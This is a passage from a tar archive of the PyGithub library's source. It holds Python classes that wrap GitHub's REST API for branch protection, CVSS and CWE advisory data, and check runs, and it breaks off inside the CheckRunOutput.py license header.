dismissal_teams assert is_optional(dismiss_stale_reviews, bool), dismiss_stale_reviews assert is_optional(require_code_owner_reviews, bool), require_code_owner_reviews assert is_optional(required_approving_review_count, int), required_approving_review_count assert is_optional(require_last_push_approval, bool), require_last_push_approval post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "dismiss_stale_reviews": dismiss_stale_reviews, "require_code_owner_reviews": require_code_owner_reviews, "required_approving_review_count": required_approving_review_count, "require_last_push_approval": require_last_push_approval, } ) dismissal_restrictions: dict[str, Any] = NotSet.remove_unset_items( {"users": dismissal_users, "teams": dismissal_teams, "apps": dismissal_apps} ) if dismissal_restrictions: post_parameters["dismissal_restrictions"] = dismissal_restrictions headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.protection_url}/required_pull_request_reviews", headers={"Accept": Consts.mediaTypeRequireMultipleApprovingReviews}, input=post_parameters, ) return github.RequiredStatusChecks.RequiredStatusChecks(self._requester, headers, data, completed=True) def remove_required_pull_request_reviews(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_pull_request_reviews `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.protection_url}/required_pull_request_reviews", ) def get_admin_enforcement(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/enforce_admins") return data["enabled"] def set_admin_enforcement(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.protection_url}/enforce_admins") def remove_admin_enforcement(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/enforce_admins `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/enforce_admins") def get_user_push_restrictions(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ """ return github.PaginatedList.PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.protection_url}/restrictions/users", None, ) def get_team_push_restrictions(self) -> PaginatedList[Team]: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ """ return github.PaginatedList.PaginatedList( github.Team.Team, self._requester, f"{self.protection_url}/restrictions/teams", None, ) def add_user_push_restrictions(self, *users: str) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) """ assert all(isinstance(element, str) for element in users), users headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.protection_url}/restrictions/users", input=users ) def replace_user_push_restrictions(self, *users: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) """ assert all(isinstance(element, str) for element in users), users headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.protection_url}/restrictions/users", input=users ) def remove_user_push_restrictions(self, *users: str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/users `_ :users: list of strings (user names) """ assert all(isinstance(element, str) for element in users), users headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.protection_url}/restrictions/users", input=users ) def add_team_push_restrictions(self, *teams: str) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) """ assert all(isinstance(element, str) for element in teams), teams headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.protection_url}/restrictions/teams", input=teams ) def replace_team_push_restrictions(self, *teams: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) """ assert all(isinstance(element, str) for element in teams), teams headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.protection_url}/restrictions/teams", input=teams ) def remove_team_push_restrictions(self, *teams: str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions/teams `_ :teams: list of strings (team slugs) """ assert all(isinstance(element, str) for element in teams), teams headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.protection_url}/restrictions/teams", input=teams ) def remove_push_restrictions(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/restrictions `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/restrictions") def get_required_signatures(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.protection_url}/required_signatures", headers={"Accept": Consts.signaturesProtectedBranchesPreview}, ) return data["enabled"] def add_required_signatures(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.protection_url}/required_signatures", headers={"Accept": Consts.signaturesProtectedBranchesPreview}, ) def remove_required_signatures(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/required_signatures `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.protection_url}/required_signatures", headers={"Accept": Consts.signaturesProtectedBranchesPreview}, ) def get_allow_deletions(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.protection_url}/allow_deletions") return data["enabled"] def set_allow_deletions(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.protection_url}/allow_deletions") def remove_allow_deletions(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/branches/{branch}/protection/allow_deletions `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.protection_url}/allow_deletions") def _useAttributes(self, attributes: dict[str, Any]) -> None: if "_links" in attributes: # pragma no branch self.__links = self._makeDictAttribute(attributes["_links"]) if "commit" in attributes: # pragma no branch self._commit = self._makeClassAttribute(github.Commit.Commit, attributes["commit"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "pattern" in attributes: # pragma no branch self._pattern = self._makeStringAttribute(attributes["pattern"]) if "protected" in attributes: # pragma no branch self._protected = self._makeBoolAttribute(attributes["protected"]) if "protection" in attributes: # pragma no branch self._protection = self._makeClassAttribute( github.BranchProtection.BranchProtection, attributes["protection"] ) if "protection_url" in attributes: # pragma no branch self._protection_url = self._makeStringAttribute(attributes["protection_url"]) if "required_approving_review_count" in attributes: # pragma no branch self._required_approving_review_count = self._makeIntAttribute( attributes["required_approving_review_count"] ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/BranchProtection.py0000644000175100001660000002454714756101563020102 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Steve Kowalik # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.GithubObject import github.NamedUser import github.RequiredPullRequestReviews import github.RequiredStatusChecks import github.Team from github.GithubObject import Attribute, NotSet, Opt, is_defined from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.NamedUser import NamedUser from github.RequiredPullRequestReviews import RequiredPullRequestReviews from github.RequiredStatusChecks import RequiredStatusChecks from github.Team import Team class BranchProtection(github.GithubObject.CompletableGithubObject): """ This class represents Branch Protection. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-branch-protection The OpenAPI schema can be found at - /components/schemas/branch-protection - /components/schemas/protected-branch """ def _initAttributes(self) -> None: self._allow_deletions: Attribute[bool] = NotSet self._allow_force_pushes: Attribute[bool] = NotSet self._allow_fork_syncing: Attribute[bool] = NotSet self._block_creations: Attribute[bool] = NotSet self._enabled: Attribute[bool] = NotSet self._enforce_admins: Attribute[bool] = NotSet self._lock_branch: Attribute[bool] = NotSet self._name: Attribute[str] = NotSet self._protection_url: Attribute[str] = NotSet self._required_conversation_resolution: Attribute[bool] = NotSet self._required_linear_history: Attribute[bool] = github.GithubObject.NotSet self._required_pull_request_reviews: Attribute[RequiredPullRequestReviews] = NotSet self._required_signatures: Attribute[bool] = NotSet self._required_status_checks: Attribute[RequiredStatusChecks] = NotSet self._restrictions: Attribute[dict[str, Any]] = NotSet self._team_push_restrictions: Opt[str] = NotSet self._url: Attribute[str] = NotSet self._user_push_restrictions: Opt[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"url": self._url.value}) @property def allow_deletions(self) -> bool: self._completeIfNotSet(self._allow_deletions) return self._allow_deletions.value @property def allow_force_pushes(self) -> bool: self._completeIfNotSet(self._allow_force_pushes) return self._allow_force_pushes.value @property def allow_fork_syncing(self) -> bool: self._completeIfNotSet(self._allow_fork_syncing) return self._allow_fork_syncing.value @property def block_creations(self) -> bool: return self._block_creations.value @property def enabled(self) -> bool: return self._enabled.value @property def enforce_admins(self) -> bool: self._completeIfNotSet(self._enforce_admins) return self._enforce_admins.value @property def lock_branch(self) -> bool: self._completeIfNotSet(self._lock_branch) return self._lock_branch.value @property def name(self) -> str: return self._name.value @property def protection_url(self) -> str: return self._protection_url.value @property def required_conversation_resolution(self) -> bool: self._completeIfNotSet(self._required_conversation_resolution) return self._required_conversation_resolution.value @property def required_linear_history(self) -> bool: self._completeIfNotSet(self._required_linear_history) return self._required_linear_history.value @property def required_pull_request_reviews(self) -> RequiredPullRequestReviews: self._completeIfNotSet(self._required_pull_request_reviews) return self._required_pull_request_reviews.value @property def required_signatures(self) -> bool: return self._required_signatures.value @property def required_status_checks(self) -> RequiredStatusChecks: self._completeIfNotSet(self._required_status_checks) return self._required_status_checks.value @property def restrictions(self) -> dict[str, Any]: return self._restrictions.value @property def url(self) -> str: return self._url.value def get_user_push_restrictions(self) -> PaginatedList[NamedUser] | None: if not is_defined(self._user_push_restrictions): return None return PaginatedList( github.NamedUser.NamedUser, self._requester, self._user_push_restrictions, None, ) def get_team_push_restrictions(self) -> PaginatedList[Team] | None: if not is_defined(self._team_push_restrictions): return None return github.PaginatedList.PaginatedList(github.Team.Team, self._requester, self._team_push_restrictions, None) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "allow_deletions" in attributes: # pragma no branch self._allow_deletions = self._makeBoolAttribute(attributes["allow_deletions"]["enabled"]) if "allow_force_pushes" in attributes: # pragma no branch self._allow_force_pushes = self._makeBoolAttribute(attributes["allow_force_pushes"]["enabled"]) if "allow_fork_syncing" in attributes: # pragma no branch self._allow_fork_syncing = self._makeBoolAttribute(attributes["allow_fork_syncing"]["enabled"]) if "block_creations" in attributes: # pragma no branch self._block_creations = self._makeBoolAttribute(attributes["block_creations"]["enabled"]) if "enabled" in attributes: # pragma no branch self._enabled = self._makeBoolAttribute(attributes["enabled"]) if "enforce_admins" in attributes: # pragma no branch self._enforce_admins = self._makeBoolAttribute(attributes["enforce_admins"]["enabled"]) if "lock_branch" in attributes: # pragma no branch self._lock_branch = self._makeBoolAttribute(attributes["lock_branch"]["enabled"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "protection_url" in attributes: # pragma no branch self._protection_url = self._makeStringAttribute(attributes["protection_url"]) if "required_conversation_resolution" in attributes: # pragma no branch self._required_conversation_resolution = self._makeBoolAttribute( attributes["required_conversation_resolution"]["enabled"] ) if "required_linear_history" in attributes: # pragma no branch self._required_linear_history = self._makeBoolAttribute(attributes["required_linear_history"]["enabled"]) if "required_pull_request_reviews" in attributes: # pragma no branch self._required_pull_request_reviews = self._makeClassAttribute( github.RequiredPullRequestReviews.RequiredPullRequestReviews, attributes["required_pull_request_reviews"], ) if "required_signatures" in attributes: # pragma no branch self._required_signatures = self._makeBoolAttribute(attributes["required_signatures"]["enabled"]) if "required_status_checks" in attributes: # pragma no branch self._required_status_checks = self._makeClassAttribute( github.RequiredStatusChecks.RequiredStatusChecks, attributes["required_status_checks"], ) if "restrictions" in attributes: # pragma no branch self._restrictions = attributes["restrictions"] self._user_push_restrictions = attributes["restrictions"]["users_url"] self._team_push_restrictions = attributes["restrictions"]["teams_url"] if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CVSS.py0000644000175100001660000001106214756101563015400 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from decimal import Decimal from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CVSS(NonCompletableGithubObject): """ This class represents a CVSS. The reference can be found here """ def _initAttributes(self) -> None: self._score: Attribute[Decimal] = NotSet self._vector_string: Attribute[str] = NotSet self._version: Attribute[Decimal] = NotSet @property def score(self) -> Decimal: return self._score.value @property def vector_string(self) -> str: return self._vector_string.value @property def version(self) -> Decimal: return self._version.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "score" in attributes and attributes["score"] is not None: # pragma no branch # ensure string so we don't have all the float extra nonsense self._score = self._makeDecimalAttribute(Decimal(str(attributes["score"]))) if "vector_string" in attributes and attributes["vector_string"] is not None: # pragma no branch self._vector_string = self._makeStringAttribute(attributes["vector_string"]) self._version = self._makeDecimalAttribute(Decimal(self.vector_string.split(":")[1].split("/")[0])) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CWE.py0000644000175100001660000000775014756101563015251 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet class CWE(CompletableGithubObject): """ This class represents a CWE. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories """ def _initAttributes(self) -> None: self._cwe_id: Attribute[str] = NotSet self._name: Attribute[str] = NotSet @property def cwe_id(self) -> str: return self._cwe_id.value @property def name(self) -> str: return self._name.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "cwe_id" in attributes: # pragma no branch self._cwe_id = self._makeStringAttribute(attributes["cwe_id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CheckRun.py0000644000175100001660000003115114756101563016325 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2021 majorvin # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import deprecated import github.CheckRunAnnotation import github.CheckRunOutput import github.CheckSuite import github.Deployment import github.GithubApp import github.GithubObject import github.PullRequest from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.CheckRunAnnotation import CheckRunAnnotation from github.CheckRunOutput import CheckRunOutput from github.CheckSuite import CheckSuite from github.Deployment import Deployment from github.GithubApp import GithubApp from github.PullRequest import PullRequest class CheckRun(CompletableGithubObject): """ This class represents check runs. The reference can be found here https://docs.github.com/en/rest/reference/checks#check-runs The OpenAPI schema can be found at - /components/schemas/check-run """ def _initAttributes(self) -> None: self._app: Attribute[GithubApp] = NotSet self._check_suite: Attribute[CheckSuite] = NotSet self._check_suite_id: Attribute[int] = NotSet self._completed_at: Attribute[datetime | None] = NotSet self._conclusion: Attribute[str] = NotSet self._deployment: Attribute[Deployment] = NotSet self._details_url: Attribute[str] = NotSet self._external_id: Attribute[str] = NotSet self._head_sha: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._output: Attribute[github.CheckRunOutput.CheckRunOutput] = NotSet self._pull_requests: Attribute[list[PullRequest]] = NotSet self._started_at: Attribute[datetime] = NotSet self._status: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "conclusion": self._conclusion.value}) @property def app(self) -> GithubApp: self._completeIfNotSet(self._app) return self._app.value @property def check_suite(self) -> CheckSuite: self._completeIfNotSet(self._check_suite) return self._check_suite.value @property @deprecated.deprecated("Use property check_suite.id instead") def check_suite_id(self) -> int: self._completeIfNotSet(self._check_suite_id) return self._check_suite_id.value @property def completed_at(self) -> datetime | None: self._completeIfNotSet(self._completed_at) return self._completed_at.value @property def conclusion(self) -> str: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property def deployment(self) -> Deployment: self._completeIfNotSet(self._deployment) return self._deployment.value @property def details_url(self) -> str: self._completeIfNotSet(self._details_url) return self._details_url.value @property def external_id(self) -> str: self._completeIfNotSet(self._external_id) return self._external_id.value @property def head_sha(self) -> str: self._completeIfNotSet(self._head_sha) return self._head_sha.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def output(self) -> CheckRunOutput: self._completeIfNotSet(self._output) return self._output.value @property def pull_requests(self) -> list[PullRequest]: self._completeIfNotSet(self._pull_requests) return self._pull_requests.value @property def started_at(self) -> datetime: self._completeIfNotSet(self._started_at) return self._started_at.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def url(self) -> str: return self._url.value def get_annotations(self) -> PaginatedList[CheckRunAnnotation]: """ :calls: `GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations `_ """ return PaginatedList( github.CheckRunAnnotation.CheckRunAnnotation, self._requester, f"{self.url}/annotations", None, headers={"Accept": "application/vnd.github.v3+json"}, ) def edit( self, name: Opt[str] = NotSet, head_sha: Opt[str] = NotSet, details_url: Opt[str] = NotSet, external_id: Opt[str] = NotSet, status: Opt[str] = NotSet, started_at: Opt[datetime] = NotSet, conclusion: Opt[str] = NotSet, completed_at: Opt[datetime] = NotSet, output: Opt[dict] = NotSet, actions: Opt[list[dict]] = NotSet, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/check-runs/{check_run_id} `_ """ assert is_optional(name, str), name assert is_optional(head_sha, str), head_sha assert is_optional(details_url, str), details_url assert is_optional(external_id, str), external_id assert is_optional(status, str), status assert is_optional(started_at, datetime), started_at assert is_optional(conclusion, str), conclusion assert is_optional(completed_at, datetime), completed_at assert is_optional(output, dict), output assert is_optional_list(actions, dict), actions post_parameters: dict[str, Any] = {} if is_defined(name): post_parameters["name"] = name if is_defined(head_sha): post_parameters["head_sha"] = head_sha if is_defined(details_url): post_parameters["details_url"] = details_url if is_defined(external_id): post_parameters["external_id"] = external_id if is_defined(status): post_parameters["status"] = status if is_defined(started_at): post_parameters["started_at"] = started_at.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(completed_at): post_parameters["completed_at"] = completed_at.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(conclusion): post_parameters["conclusion"] = conclusion if is_defined(output): post_parameters["output"] = output if is_defined(actions): post_parameters["actions"] = actions headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "app" in attributes: # pragma no branch self._app = self._makeClassAttribute(github.GithubApp.GithubApp, attributes["app"]) # This only gives us a dictionary with `id` attribute of `check_suite` if "check_suite" in attributes and "id" in attributes["check_suite"]: # pragma no branch id = attributes["check_suite"]["id"] if "url" not in attributes["check_suite"] and "url" in attributes: url = attributes["url"].split("/")[:-2] + ["check-suites", str(id)] attributes["check_suite"]["url"] = "/".join(url) self._check_suite = self._makeClassAttribute(github.CheckSuite.CheckSuite, attributes["check_suite"]) # deprecated check suite id property self._check_suite_id = self._makeIntAttribute(id) if "completed_at" in attributes: # pragma no branch self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "deployment" in attributes: # pragma no branch self._deployment = self._makeClassAttribute(github.Deployment.Deployment, attributes["deployment"]) if "details_url" in attributes: # pragma no branch self._details_url = self._makeStringAttribute(attributes["details_url"]) if "external_id" in attributes: # pragma no branch self._external_id = self._makeStringAttribute(attributes["external_id"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "output" in attributes: # pragma no branch self._output = self._makeClassAttribute(github.CheckRunOutput.CheckRunOutput, attributes["output"]) if "pull_requests" in attributes: # pragma no branch self._pull_requests = self._makeListOfClassesAttribute( github.PullRequest.PullRequest, attributes["pull_requests"] ) if "started_at" in attributes: # pragma no branch self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CheckRunAnnotation.py0000644000175100001660000001301714756101563020361 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CheckRunAnnotation(NonCompletableGithubObject): """ This class represents check run annotations. The reference can be found here: https://docs.github.com/en/rest/reference/checks#list-check-run-annotations The OpenAPI schema can be found at - /components/schemas/check-annotation """ def _initAttributes(self) -> None: self._annotation_level: Attribute[str] = NotSet self._blob_href: Attribute[str] = NotSet self._end_column: Attribute[int] = NotSet self._end_line: Attribute[int] = NotSet self._message: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._raw_details: Attribute[str] = NotSet self._start_column: Attribute[int] = NotSet self._start_line: Attribute[int] = NotSet self._title: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property def annotation_level(self) -> str: return self._annotation_level.value @property def blob_href(self) -> str: return self._blob_href.value @property def end_column(self) -> int: return self._end_column.value @property def end_line(self) -> int: return self._end_line.value @property def message(self) -> str: return self._message.value @property def path(self) -> str: return self._path.value @property def raw_details(self) -> str: return self._raw_details.value @property def start_column(self) -> int: return self._start_column.value @property def start_line(self) -> int: return self._start_line.value @property def title(self) -> str: return self._title.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "annotation_level" in attributes: # pragma no branch self._annotation_level = self._makeStringAttribute(attributes["annotation_level"]) if "blob_href" in attributes: # pragma no branch self._blob_href = self._makeStringAttribute(attributes["blob_href"]) if "end_column" in attributes: # pragma no branch self._end_column = self._makeIntAttribute(attributes["end_column"]) if "end_line" in attributes: # pragma no branch self._end_line = self._makeIntAttribute(attributes["end_line"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "raw_details" in attributes: # pragma no branch self._raw_details = self._makeStringAttribute(attributes["raw_details"]) if "start_column" in attributes: # pragma no branch self._start_column = self._makeIntAttribute(attributes["start_column"]) if "start_line" in attributes: # pragma no branch self._start_line = self._makeIntAttribute(attributes["start_line"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CheckRunOutput.py0000644000175100001660000001170214756101563017546 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the 